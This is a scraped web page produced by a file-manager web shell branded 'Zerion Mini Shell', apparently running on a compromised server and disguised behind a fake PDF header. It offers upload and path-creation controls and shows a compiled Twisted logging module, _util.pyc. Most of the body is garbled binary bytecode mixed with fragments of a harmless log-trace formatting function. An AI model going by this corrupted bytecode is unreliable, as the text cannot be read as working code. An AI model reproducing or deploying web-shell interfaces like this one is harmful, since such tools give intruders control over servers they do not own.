%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/logger/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/logger/__pycache__/_util.cpython-312.pyc

�

Ϫ�fZ��<�dZddlmZddlmZddlmZdedefd�Zy	)
z
Logging utilities.
�)�List�)�LogTrace)�Logger�trace�returnc��dtdtfd�}g}g}|D]�\}}|r|d|urQ||vr |d|urF|j�|d|ur�n-|s|j||��d��|j|�|jdt	|�z�|jd||��d����dj|�S)	ay
    Format a trace (that is, the contents of the C{log_trace} key of a log
    event) as a visual indication of the message's propagation through various
    observers.

    @param trace: the contents of the C{log_trace} key from an event.

    @return: A multi-line string with indentation and arrows indicating the
        flow of the message through various observers.
    �objrc�D�t|d�r|�d|j�d�S|�S)N�namez (�))�hasattrr)r
s �6/usr/lib/python3/dist-packages/twisted/logger/_util.py�formatWithNamez#formatTrace.<locals>.formatWithNames*���3����U�"�S�X�X�J�a�(�(��U�O�����
z  z-> �)�object�str�pop�append�len�join)rr�result�lineage�parent�childs      r�formatTracers����F��s���F��G��
7�
����'�"�+�V�3��� ��b�k��/��K�K�M��b�k��/���M�M�^�F�%;�$<�B�"?�@����v�&��
�
�d�S��\�)�*��
�
��N�5�1�2�"�5�6�
7��7�7�6�?�rN)	�__doc__�typingr�_interfacesr�_loggerrrr�rr�<module>r%s(��
��!��$�x�$�C�$r

Zerion Mini Shell 1.0